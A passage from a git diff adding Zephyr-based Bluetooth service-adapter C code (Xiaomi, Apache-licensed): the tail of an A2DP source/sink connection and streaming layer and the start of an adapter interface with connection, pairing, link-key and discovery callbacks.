{ + BT_LOGW("%s, A2DP connect already exists", __func__); + goto error; + } + + a2dp = bt_a2dp_connect(conn); + if (!a2dp) { + BT_LOGE("%s, A2DP connect failed", __func__); + goto error; + } + + a2dp_info = (struct zblue_a2dp_info_t*)malloc(sizeof(struct zblue_a2dp_info_t)); + if (!a2dp_info) { + BT_LOGE("%s, malloc failed", __func__); + goto error; + } + + memcpy(&a2dp_info->bd_addr, addr, sizeof(bt_address_t)); + a2dp_info->a2dp = a2dp; + a2dp_info->conn = conn; + a2dp_info->stream = NULL; + a2dp_info->int_acp = A2DP_INT; + a2dp_info->role = SEP_SRC; + a2dp_info->is_cleanup = false; + flag_reset(a2dp_info); + a2dp_info->disconnecting = false; + a2dp_info->peer_endpoint = NULL; + a2dp_info->config = NULL; + a2dp_info->selected_peer_endpoint = NULL; + + bt_list_add_tail(bt_a2dp_conn, a2dp_info); + bt_conn_unref(conn); + return BT_STATUS_SUCCESS; + +error: + bt_conn_unref(conn); + return BT_STATUS_FAIL; +} +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + +bt_status_t bt_sal_a2dp_source_connect(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + return bt_sal_profile_connect_request(addr, PROFILE_A2DP, CONN_ID_DEFAULT, id, a2dp_source_profile_connect, NULL); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ +} + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +static bt_status_t a2dp_sink_profile_connect(bt_controller_id_t id, bt_address_t* addr, void* user_data) +{ + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + struct zblue_a2dp_info_t* a2dp_info; + struct bt_a2dp* a2dp; + + if (!conn) { + BT_LOGE("%s, acl not connected", __func__); + return BT_STATUS_FAIL; + } + + a2dp_info = bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_conn, conn); + if (a2dp_info) { + BT_LOGW("%s, A2DP connect already exists", __func__); + goto error; + } + + a2dp = bt_a2dp_connect(conn); + if (!a2dp) { + BT_LOGE("%s, A2DP connect failed", __func__); + goto error; + } + + a2dp_info = (struct zblue_a2dp_info_t*)malloc(sizeof(struct zblue_a2dp_info_t)); + if (!a2dp_info) { + BT_LOGE("%s, malloc failed", __func__); + goto error; + } + + memcpy(&a2dp_info->bd_addr, addr, sizeof(bt_address_t)); + a2dp_info->a2dp = a2dp; + a2dp_info->conn = conn; + a2dp_info->stream = NULL; + a2dp_info->int_acp = A2DP_INT; + a2dp_info->role = SEP_SNK; + a2dp_info->is_cleanup = false; + flag_reset(a2dp_info); + a2dp_info->disconnecting = false; + a2dp_info->peer_endpoint = NULL; + a2dp_info->config = NULL; + a2dp_info->selected_peer_endpoint = NULL; + + bt_list_add_tail(bt_a2dp_conn, a2dp_info); + bt_conn_unref(conn); + return BT_STATUS_SUCCESS; + +error: + bt_conn_unref(conn); + return BT_STATUS_FAIL; +} +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + +bt_status_t bt_sal_a2dp_sink_connect(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + return bt_sal_profile_connect_request(addr, PROFILE_A2DP_SINK, CONN_ID_DEFAULT, id, a2dp_sink_profile_connect, NULL); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ +} + +static bt_status_t bt_sal_a2dp_disconnect(struct zblue_a2dp_info_t* a2dp_info) +{ + if (!a2dp_info) + return BT_STATUS_SUCCESS; + + if (a2dp_info->disconnecting) { + BT_LOGW("%s, disconnecting", __func__); + return BT_STATUS_SUCCESS; + } + + a2dp_info->disconnecting = true; + if (flag_isset(a2dp_info, A2DP_STATE_BIT_MEDIA_CONN)) { + BT_LOGW("%s, media connection exists, disconnect", __func__); + return bt_a2dp_stream_release(a2dp_info->stream); + } else if (flag_isset(a2dp_info, A2DP_STATE_BIT_SIG_CONN)) { + BT_LOGW("%s, signaling connection exists, disconnect", __func__); + return bt_a2dp_disconnect(a2dp_info->a2dp); + } + + return BT_STATUS_SUCCESS; +} + +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE +static bt_status_t a2dp_source_disconnect(bt_controller_id_t id, bt_address_t* addr, void* user_data) +{ + struct zblue_a2dp_info_t* a2dp_info; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_addr, addr); + if (!a2dp_info) { + BT_LOGW("%s, a2dp_info is NULL", __func__); + return BT_STATUS_PARM_INVALID; + } + + return bt_sal_a2dp_disconnect(a2dp_info); +} +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ + +bt_status_t bt_sal_a2dp_source_disconnect(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + return bt_sal_profile_disconnect_request(addr, PROFILE_A2DP, CONN_ID_DEFAULT, id, a2dp_source_disconnect, NULL); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ +} + +#ifdef CONFIG_BLUETOOTH_A2DP_SINK +static bt_status_t a2dp_sink_disconnect(bt_controller_id_t id, bt_address_t* addr, void* user_data) +{ + struct zblue_a2dp_info_t* a2dp_info; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_addr, addr); + if (!a2dp_info) { + BT_LOGW("%s, a2dp_info is NULL", __func__); + return BT_STATUS_PARM_INVALID; + } + + return bt_sal_a2dp_disconnect(a2dp_info); +} +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ + +bt_status_t bt_sal_a2dp_sink_disconnect(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + return bt_sal_profile_disconnect_request(addr, PROFILE_A2DP_SINK, CONN_ID_DEFAULT, id, a2dp_sink_disconnect, NULL); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ +} + +bt_status_t bt_sal_a2dp_source_start_stream(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + struct zblue_a2dp_info_t* a2dp_info; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_addr, addr); + if (!a2dp_info) { + BT_LOGW("%s, a2dp_info is NULL", __func__); + return BT_STATUS_PARM_INVALID; + } + + SAL_CHECK_RET(bt_a2dp_stream_start(a2dp_info->stream), 0); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ +} + +bt_status_t bt_sal_a2dp_source_suspend_stream(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + struct zblue_a2dp_info_t* a2dp_info; + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_addr, addr); + if (!a2dp_info) { + BT_LOGW("%s, a2dp_info is NULL", __func__); + return BT_STATUS_PARM_INVALID; + } + + SAL_CHECK_RET(bt_a2dp_stream_suspend(a2dp_info->stream), 0); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ +} + +bt_status_t bt_sal_a2dp_source_send_data(bt_controller_id_t id, bt_address_t* remote_addr, + uint8_t* buf, uint16_t nbytes, uint8_t nb_frames, uint64_t timestamp, uint32_t seq) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + struct net_buf* media_packet_buf; + struct zblue_a2dp_info_t* a2dp_info; + int ret; + + if (!buf) + return BT_STATUS_PARM_INVALID; + + a2dp_info = (struct zblue_a2dp_info_t*)bt_list_find(bt_a2dp_conn, bt_a2dp_info_find_addr, remote_addr); + if (!a2dp_info) { + BT_LOGW("%s, a2dp_info is NULL", __func__); + return BT_STATUS_PARM_INVALID; + } + + media_packet_buf = bt_a2dp_stream_create_pdu(&bt_a2dp_tx_pool, K_NO_WAIT); + if (!media_packet_buf) { + BT_LOGI("%s, fail to allocate buffer", __func__); + return BT_STATUS_NOMEM; + } + + // buf = Media Packet Header(AVDTP_RTP_HEADER_LEN) + Media Payload + // nbytes = Media Payload Length + net_buf_add_mem(media_packet_buf, &buf[AVDTP_RTP_HEADER_LEN], nbytes); + + ret = bt_a2dp_stream_send(a2dp_info->stream, media_packet_buf, seq, timestamp); + if (ret < 0) + goto error; + + return BT_STATUS_SUCCESS; + +error: + BT_LOGE("%s, bt_a2dp_stream_send failed, ret: %d", __func__, ret); + net_buf_unref(media_packet_buf); + return BT_STATUS_FAIL; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ +} + +bt_status_t bt_sal_a2dp_sink_start_stream(bt_controller_id_t id, bt_address_t* addr) +{ + /* Note: this interface is used to accept an AVDTP Start Request */ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ +} + +void bt_sal_a2dp_source_cleanup(void) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + bt_list_t* list = bt_a2dp_conn; + bt_list_node_t* node; + + if (!list) + return; + + bt_sdp_unregister_service(&a2dp_source_rec); + bt_a2dp_unregister_ep(&a2dp_sbc_src_endpoint_local); + + if (bt_list_length(bt_a2dp_conn) == 0) { + bt_list_free(bt_a2dp_conn); + bt_a2dp_conn = NULL; + return; + } + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + struct zblue_a2dp_info_t* a2dp_info = bt_list_node(node); + + a2dp_info->is_cleanup = true; + bt_sal_a2dp_disconnect(a2dp_info); + } + + return; +#else + return; +#endif /* CONFIG_BLUETOOTH_A2DP_SOURCE */ +} + +void bt_sal_a2dp_sink_cleanup(void) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + bt_list_t* list = bt_a2dp_conn; + bt_list_node_t* node; + + if (!list) + return; + + bt_sdp_unregister_service(&a2dp_sink_rec); + bt_a2dp_unregister_ep(&a2dp_sbc_snk_endpoint_local); + + if (bt_list_length(bt_a2dp_conn) == 0) { + bt_list_free(bt_a2dp_conn); + bt_a2dp_conn = NULL; + return; + } + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + struct zblue_a2dp_info_t* a2dp_info = bt_list_node(node); + + a2dp_info->is_cleanup = true; + bt_sal_a2dp_disconnect(a2dp_info); + } + + return; +#else + return; +#endif /* CONFIG_BLUETOOTH_A2DP_SINK */ +} + +#endif /* CONFIG_BLUETOOTH_A2DP */ \ No newline at end of file diff --git a/service/stacks/zephyr/sal_adapter_interface.c b/service/stacks/zephyr/sal_adapter_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..421e01180b38c6eba39cb209f289cb0f4398ed20 --- /dev/null +++ b/service/stacks/zephyr/sal_adapter_interface.c @@ -0,0 +1,1936 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "sal_adapter" +#include <stdint.h> + +#include "bluetooth.h" +#include "bt_adapter.h" + +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_status.h" + +#include "adapter_internel.h" +#include "bluetooth_define.h" +#include "hci_h4.h" +#include "power_manager.h" +#include "service_loop.h" + +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/classic/hfp_hf.h> +#include <zephyr/bluetooth/conn.h> +#include <zephyr/bluetooth/hci.h> +#include <zephyr/bluetooth/hci_types.h> + +#include <zephyr/settings/settings.h> + +#include "sal_adapter_le_interface.h" +#include "sal_connection_manager.h" +#include "sal_interface.h" + +#include <settings_zblue.h> +#include <zephyr/settings/settings.h> + +#include "keys.h" + +#include "utils/log.h" + +#define BT_INVALID_CONNECTION_HANDLE 0xFFFF + +#define STACK_CALL(func) zblue_##func + +typedef void (*sal_func_t)(void* args); + +typedef union { + char name[BT_LOC_NAME_MAX_LEN]; + bt_io_capability_t cap; + uint32_t cod; + struct { + bt_scan_mode_t scan_mode; + bool bondable; + } scanmode; + struct { + uint32_t timeout; + bool limited; + } discovery; + struct { + bool inquiry; + bt_scan_type_t type; + uint16_t interval; + uint16_t window; + } sp; + bool accept; + uint8_t reason; + struct { + bool accept; + bt_pair_type_t type; + uint32_t passkey; + } ssp; + struct { + bool accept; + char* pincode; + int len; + } pin; + struct { + bt_transport_t transport; + bt_addr_type_t type; + } bond; + bt_pm_mode_t mode; + bt_link_role_t role; + bt_link_policy_t policy; + struct { + uint16_t central_frequency; + uint16_t band_width; + uint16_t number; + } afh; + int security_level; + uint8_t map[10]; +} sal_adapter_args_t; + +typedef struct { + bt_controller_id_t id; + bt_address_t addr; + sal_func_t func; + sal_adapter_args_t adpt; +} sal_adapter_req_t; + +struct device_context { + remote_device_properties_t* props; + int got; + int cnt; +}; + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +extern int zblue_main(void); +#ifndef CONFIG_BT_CONN_REQ_AUTO_HANDLE +static void zblue_on_connect_req(struct bt_conn* conn, uint8_t link_type, uint8_t* cod); +#endif +static void zblue_on_connected(struct bt_conn* conn, uint8_t err); +static void zblue_on_disconnected(struct bt_conn* conn, uint8_t reason); +static void zblue_on_security_changed(struct bt_conn* conn, bt_security_t level, + enum bt_security_err err); +#ifdef CONFIG_BT_REMOTE_INFO +static void zblue_on_remote_info_available(struct bt_conn* conn, + struct bt_conn_remote_info* remote_info); +#endif +#ifdef CONFIG_BT_POWER_MODE_CONTROL +static void zblue_on_mode_changed(struct bt_conn* conn, uint8_t mode, uint16_t interval); +#endif +static void zblue_on_role_changed(struct bt_conn* conn, uint8_t role); +static void zblue_on_passkey_display(struct bt_conn* conn, unsigned int passkey); +static void zblue_on_passkey_entry(struct bt_conn* conn); +static void zblue_on_passkey_confirm(struct bt_conn* conn, unsigned int passkey); +static void zblue_on_cancel(struct bt_conn* conn); +static void zblue_on_pairing_confirm(struct bt_conn* conn); +static void zblue_on_pincode_entry(struct bt_conn* conn, bool highsec); +static void zblue_on_br_pairing_complete_ctkd(struct bt_conn* conn, bool is_link_key); +static void zblue_on_br_pairing_complete(struct bt_conn* conn, bool bonding_flag); +static void zblue_on_br_pairing_failed(struct bt_conn* conn, enum bt_security_err reason); +static void zblue_on_br_bond_deleted(uint8_t id, const bt_addr_le_t* peer); +static void zblue_register_callback(void); +static void zblue_unregister_callback(void); +#if defined(CONFIG_SETTINGS_ZBLUE) +static int zblue_on_link_key_notify(uint8_t dev_id, bt_addr_le_t* addr, const char* key_value, uint8_t value_len); +static int zblue_on_link_key_load(bt_addr_le_t* addr, uint8_t* key_value, uint8_t value_len); +#endif + +static bt_security_t g_security_level = BT_SECURITY_L2; + +static struct bt_conn_cb g_conn_cbs = { +#ifndef CONFIG_BT_CONN_REQ_AUTO_HANDLE + .connect_req = zblue_on_connect_req, +#endif /* CONFIG_BT_CONN_REQ_AUTO_HANDLE */ + .connected = zblue_on_connected, + .disconnected = zblue_on_disconnected, + .security_changed = zblue_on_security_changed, +#ifdef CONFIG_BT_REMOTE_INFO + .remote_info_available = zblue_on_remote_info_available, +#endif +#ifdef CONFIG_BT_POWER_MODE_CONTROL + .mode_changed = zblue_on_mode_changed, +#endif + .role_changed = zblue_on_role_changed, +}; + +#if defined(CONFIG_SETTINGS_ZBLUE) +static struct bt_settings_zblue_cb g_setting_cbs = { + .linkkey_notify = zblue_on_link_key_notify, + .linkkey_load = zblue_on_link_key_load, +}; +#endif + +static struct bt_conn_auth_info_cb g_conn_auth_info_cbs = { + .pairing_complete = zblue_on_br_pairing_complete, + .pairing_complete_ctkd = zblue_on_br_pairing_complete_ctkd, + .pairing_failed = zblue_on_br_pairing_failed, + .bond_deleted = zblue_on_br_bond_deleted, +}; + +static struct bt_conn_auth_cb g_conn_auth_cbs = { + .cancel = zblue_on_cancel, + .pincode_entry = zblue_on_pincode_entry +}; + +static sal_adapter_req_t* sal_adapter_req(bt_controller_id_t id, bt_address_t* addr, sal_func_t func) +{ + sal_adapter_req_t* req = calloc(sizeof(sal_adapter_req_t), 1); + + if (req) { + req->id = id; + req->func = func; + if (addr) + memcpy(&req->addr, addr, sizeof(bt_address_t)); + } + + return req; +} + +static void sal_invoke_async(service_work_t* work, void* userdata) +{ + sal_adapter_req_t* req = userdata; + + SAL_ASSERT(req); + req->func(req); + free(userdata); +} + +static bt_status_t sal_send_req(sal_adapter_req_t* req) +{ + if (!req) + return BT_STATUS_PARM_INVALID; + + if (!service_loop_work((void*)req, sal_invoke_async, NULL)) { + BT_LOGE("%s, service_loop_work failed", __func__); + free(req); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static void zblue_conn_get_addr(struct bt_conn* conn, bt_address_t* addr) +{ + struct bt_conn_info info; + + bt_conn_get_info(conn, &info); + bt_addr_set(addr, info.br.dst->val); +} + +#ifndef CONFIG_BT_CONN_REQ_AUTO_HANDLE +static void zblue_on_connect_req(struct bt_conn* conn, uint8_t link_type, uint8_t* cod) +{ + if (link_type == BT_HCI_ACL) { + acl_state_param_t state = { + .transport = BT_TRANSPORT_BREDR, + .connection_state = CONNECTION_STATE_CONNECTING + }; + uint32_t class = ((uint32_t)cod[2] << 16) | ((uint32_t)cod[1] << 8) | (uint32_t)cod[0]; + + zblue_conn_get_addr(conn, &state.addr); + adapter_on_connect_request(&state.addr, class); + adapter_on_connection_state_changed(&state); + } else { + // Ignore + } +} +#endif + +static void zblue_on_connected(struct bt_conn* conn, uint8_t err) +{ + if (!bt_conn_get_dst_br(conn)) { + return; + } + + acl_state_param_t state = { + .transport = BT_TRANSPORT_BREDR, + .connection_state = CONNECTION_STATE_CONNECTED + }; + + zblue_conn_get_addr(conn, &state.addr); + if (err) { + state.connection_state = CONNECTION_STATE_DISCONNECTED; + state.status = err; + bt_sal_cm_acl_disconnected_callback(cm_data_new(&state.addr, PROFILE_UNKOWN, CONN_ID_DEFAULT)); + goto error; + } + + bt_sal_get_remote_name(BT_TRANSPORT_BREDR, &state.addr); + bt_sal_cm_acl_connected_callback(cm_data_new(&state.addr, PROFILE_UNKOWN, CONN_ID_DEFAULT)); + +error: + adapter_on_connection_state_changed(&state); +} + +static void zblue_on_disconnected(struct bt_conn* conn, uint8_t reason) +{ + if (!bt_conn_get_dst_br(conn)) { + return; + } + + acl_state_param_t state = { + .transport = BT_TRANSPORT_BREDR, + .connection_state = CONNECTION_STATE_DISCONNECTED, + .hci_reason_code = reason, + }; + + zblue_conn_get_addr(conn, &state.addr); + adapter_on_connection_state_changed(&state); + bt_sal_cm_acl_disconnected_callback(cm_data_new(&state.addr, PROFILE_UNKOWN, CONN_ID_DEFAULT)); +} + +static void zblue_on_security_changed(struct bt_conn* conn, bt_security_t level, + enum bt_security_err err) +{ + bt_address_t addr; + struct bt_conn_info info; + int ret; + bool encrypted = false; + + if (bt_conn_get_info(conn, &info) < 0) { + return; + } + + if (info.type != BT_CONN_TYPE_BR) { + return; + } + + bt_addr_set(&addr, info.br.dst->val); + + BT_LOGD("%s, level: %d, required level: %d, err: %d", __func__, level, g_security_level, err); + + if (level >= g_security_level && err == BT_SECURITY_ERR_SUCCESS) { + encrypted = true; + adapter_on_encryption_state_changed(&addr, encrypted, BT_TRANSPORT_BREDR); + return; + } + + adapter_on_bond_state_changed(&addr, BOND_STATE_NONE, BT_TRANSPORT_BREDR, BT_STATUS_FAIL, false); + ret = bt_br_unpair((bt_addr_t*)info.br.dst); + if (ret < 0) { + BT_LOGE("%s, Failed to remove old BR key: %d", __func__, ret); + } + + if (err == BT_SECURITY_ERR_AUTH_FAIL || (err == BT_SECURITY_ERR_SUCCESS && level < g_security_level)) { + bt_conn_disconnect(conn, BT_HCI_ERR_AUTH_FAIL); + return; + } + + adapter_on_encryption_state_changed(&addr, encrypted, BT_TRANSPORT_BREDR); +} + +#ifdef CONFIG_BT_REMOTE_INFO +static void zblue_on_remote_info_available(struct bt_conn* conn, + struct bt_conn_remote_info* remote_info) +{ +} +#endif + +#ifdef CONFIG_BT_POWER_MODE_CONTROL +static void zblue_on_mode_changed(struct bt_conn* conn, uint8_t mode, uint16_t interval) +{ + bt_link_mode_t linkmode; + bt_address_t addr; + + if (mode == BT_ACTIVE_MODE) { + linkmode = BT_LINK_MODE_ACTIVE; + } else { + linkmode = BT_LINK_MODE_SNIFF; + } + + zblue_conn_get_addr(conn, &addr); + adapter_on_link_mode_changed(&addr, linkmode, interval); +} +#endif + +static void zblue_on_role_changed(struct bt_conn* conn, uint8_t role) +{ + bt_link_role_t linkrole; + bt_address_t addr; + + if (role == BT_CONN_ROLE_PERIPHERAL) { + linkrole = BT_LINK_ROLE_SLAVE; + } else { + linkrole = BT_LINK_ROLE_MASTER; + } + + zblue_conn_get_addr(conn, &addr); + adapter_on_link_role_changed(&addr, linkrole); +} + +static void zblue_on_passkey_display(struct bt_conn* conn, unsigned int passkey) +{ + bt_address_t addr; + + zblue_conn_get_addr(conn, &addr); + adapter_on_ssp_request(&addr, BT_TRANSPORT_BREDR, 0, PAIR_TYPE_PASSKEY_NOTIFICATION, passkey, NULL); +} + +static void zblue_on_passkey_entry(struct bt_conn* conn) +{ + bt_address_t addr; + + zblue_conn_get_addr(conn, &addr); + adapter_on_ssp_request(&addr, BT_TRANSPORT_BREDR, 0, PAIR_TYPE_PASSKEY_ENTRY, 0, NULL); +} + +static void zblue_on_passkey_confirm(struct bt_conn* conn, unsigned int passkey) +{ + bt_address_t addr; + + zblue_conn_get_addr(conn, &addr); + adapter_on_ssp_request(&addr, BT_TRANSPORT_BREDR, 0, PAIR_TYPE_PASSKEY_CONFIRMATION, passkey, NULL); +} + +static void zblue_on_cancel(struct bt_conn* conn) +{ +} + +static void zblue_on_pairing_confirm(struct bt_conn* conn) +{ + bt_address_t addr; + + zblue_conn_get_addr(conn, &addr); + /* it's justworks */ + adapter_on_ssp_request(&addr, BT_TRANSPORT_BREDR, 0, PAIR_TYPE_CONSENT, 0, NULL); +} + +static void zblue_on_pincode_entry(struct bt_conn* conn, bool highsec) +{ + bt_address_t addr; + + zblue_conn_get_addr(conn, &addr); + adapter_on_pin_request(&addr, 0, true, NULL); +} + +static void zblue_on_br_pairing_complete_ctkd(struct bt_conn* conn, bool is_link_key) +{ + bt_address_t addr; + const bt_addr_le_t* dst; + + if (!is_link_key) { + return; + } + + dst = bt_conn_get_dst(conn); + if (!dst) { + return; + } + + memcpy(addr.addr, dst->a.val, sizeof(addr.addr)); + + adapter_on_bond_state_changed(&addr, BOND_STATE_BONDED, BT_TRANSPORT_BREDR, BT_STATUS_SUCCESS, true); +} + +#ifdef CONFIG_SETTINGS_ZBLUE +static int zblue_on_link_key_notify(uint8_t dev_id, bt_addr_le_t* addr, const char* key_value, uint8_t value_len) +{ + bt_address_t br_addr; + bt_128key_t key; + bt_link_key_type_t key_type = 0; + struct bt_keys_link_key* link_key; + + memcpy(br_addr.addr, addr->a.val, sizeof(br_addr.addr)); + if (!key_value) { + BT_LOGD("%s delete key_value", __func__); + return 0; + } + + link_key = (struct bt_keys_link_key*)zalloc(sizeof(struct bt_keys_link_key)); + if (!link_key) { + BT_LOGE("%s link_key malloc fail", __func__); + return -ENOSPC; + } + + memcpy(link_key->storage_start, key_value, value_len); + memcpy(key, link_key->val, 16); + key_type = link_key->key_type; + free(link_key); + + adapter_on_link_key_update(&br_addr, key, key_type); + return 0; +} + +static int zblue_on_link_key_load(bt_addr_le_t* addr, uint8_t* key_value, uint8_t value_len) +{ + struct bt_keys_link_key* link_key; + bt_address_t br_addr; + uint8_t* key; + + memcpy(br_addr.addr, addr->a.val, sizeof(br_addr.addr)); + + link_key = (struct bt_keys_link_key*)zalloc(sizeof(struct bt_keys_link_key)); + if (!link_key) { + BT_LOGE("%s link_key malloc fail", __func__); + return -ENOSPC; + } + + key = adapter_get_link_key(&br_addr); + if (!key) { + BT_LOGE("%s link_key load fail", __func__); + free(link_key); + return -EINVAL; + } + + memcpy(link_key->val, key, 16); + + link_key->key_type = adapter_get_link_key_type(&br_addr); + switch (link_key->key_type) { + case BT_LK_COMBINATION: + case BT_LK_AUTH_COMBINATION_P192: + link_key->flags |= BT_LINK_KEY_AUTHENTICATED; + break; + case BT_LK_AUTH_COMBINATION_P256: + link_key->flags |= BT_LINK_KEY_AUTHENTICATED | BT_LINK_KEY_SC; + break; + default: + break; + } + + memcpy(key_value, link_key->storage_start, value_len); + free(link_key); + return value_len; +} +#endif + +static void zblue_on_br_pairing_complete(struct bt_conn* conn, bool bonding_flag) +{ + bt_address_t addr; + + if (!bt_conn_get_dst_br(conn)) { + return; + } + + BT_LOGD("%s bonding_flag: %s", __func__, bonding_flag ? "true" : "false"); + + zblue_conn_get_addr(conn, &addr); + adapter_on_bond_state_changed(&addr, BOND_STATE_BONDED, BT_TRANSPORT_BREDR, BT_STATUS_SUCCESS, false); +} + +static void zblue_on_br_pairing_failed(struct bt_conn* conn, enum bt_security_err reason) +{ + bt_address_t addr; + + if (!bt_conn_get_dst_br(conn)) { + return; + } + + zblue_conn_get_addr(conn, &addr); + adapter_on_bond_state_changed(&addr, BOND_STATE_NONE, BT_TRANSPORT_BREDR, BT_STATUS_AUTH_FAILURE, false); + bt_conn_disconnect(conn, BT_HCI_ERR_AUTH_FAIL); +} + +static void zblue_on_br_bond_deleted(uint8_t id, const bt_addr_le_t* peer) +{ + bt_address_t addr; + + if (id == 0 && peer->type == BT_ADDR_LE_PUBLIC) { + bt_addr_set(&addr, peer->a.val); + adapter_on_link_key_removed(&addr, BT_STATUS_SUCCESS); + } /* else: Ignore it*/ +} + +static void zblue_on_ready_cb(bt_controller_id_t dev_id, int err) +{ + uint8_t state = BT_BREDR_STACK_STATE_OFF; + + UNUSED(dev_id); +#if !defined(CONFIG_BLUETOOTH_BLE_SUPPORT) + if (IS_ENABLED(CONFIG_SETTINGS)) { + settings_load(); + } +#endif + + if (err) { + BT_LOGD("zblue init failed (err %d)\n", err); + adapter_on_adapter_state_changed(BT_BREDR_STACK_STATE_OFF); + return; + } + + zblue_register_callback(); + +#if defined(CONFIG_BLUETOOTH_STACK_BREDR_ZBLUE) && !defined(CONFIG_BLUETOOTH_STACK_LE_ZBLUE) + state = BT_BREDR_STACK_STATE_ON; +#else + switch (adapter_get_state()) { + case BT_ADAPTER_STATE_BLE_TURNING_ON: + state = BLE_STACK_STATE_ON; + break; + case BT_ADAPTER_STATE_TURNING_ON: + state = BT_BREDR_STACK_STATE_ON; + break; + default: + break; + } +#endif + adapter_on_adapter_state_changed(state); +} +#endif + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static bool zblue_inquiry_eir_name(const uint8_t* eir, int len, char* name) +{ + while (len) { + if (len < 2) { + return false; + } + + /* Look for early termination */ + if (!eir[0]) { + return false; + } + + /* Check if field length is correct */ + if (eir[0] > len - 1) { + return false; + } + + switch (eir[1]) { + case BT_DATA_NAME_SHORTENED: + case BT_DATA_NAME_COMPLETE: + if (eir[0] <= 1) { + return false; + } + + memset(name, 0, BT_REM_NAME_MAX_LEN); + if (eir[0] > BT_REM_NAME_MAX_LEN - 1) { + memcpy(name, &eir[2], BT_REM_NAME_MAX_LEN - 1); + } else { + memcpy(name, &eir[2], eir[0] - 1); + } + return true; + default: + break; + } + + /* Parse next AD Structure */ + len -= eir[0] + 1; + eir += eir[0] + 1; + } + + return false; +} + +static void zblue_on_discovery_recv_cb(const struct bt_br_discovery_result* results) +{ + bt_discovery_result_t device = { 0 }; + + memcpy(device.addr.addr, &results->addr, 6); + device.rssi = results->rssi; + device.cod = (results->cod[2] << 16) | (results->cod[1] << 8) | results->cod[0]; + zblue_inquiry_eir_name(results->eir, sizeof(results->eir), device.name); + + /* report discovery result to service */ + adapter_on_device_found(&device); +} + +static void zblue_on_discovery_complete_cb(const struct bt_br_discovery_result* results, + size_t count) +{ + adapter_on_discovery_state_changed(BT_DISCOVERY_STOPPED); +} + +static struct bt_br_discovery_cb g_br_discovery_cb = { + .recv = zblue_on_discovery_recv_cb, + .timeout = zblue_on_discovery_complete_cb +}; + +static void zblue_register_callback(void) +{ + bt_br_discovery_cb_register(&g_br_discovery_cb); + bt_conn_cb_register(&g_conn_cbs); + bt_conn_auth_cb_register(&g_conn_auth_cbs); + bt_conn_auth_info_cb_register(&g_conn_auth_info_cbs); +#ifdef CONFIG_SETTINGS_ZBLUE + bt_setting_cb_register(&g_setting_cbs); +#endif +} + +static void zblue_unregister_callback(void) +{ + bt_br_discovery_cb_unregister(&g_br_discovery_cb); + bt_conn_auth_cb_register(NULL); + bt_conn_auth_info_cb_unregister(&g_conn_auth_info_cbs); +} +#endif + +/* service adapter layer for BREDR */ +bt_status_t bt_sal_init(const bt_vhal_interface* vhal) +{ + bt_sal_hci_transport_init(vhal); + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + extern void z_sys_init(void); + z_sys_init(); + bt_sal_cm_conn_init(); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + 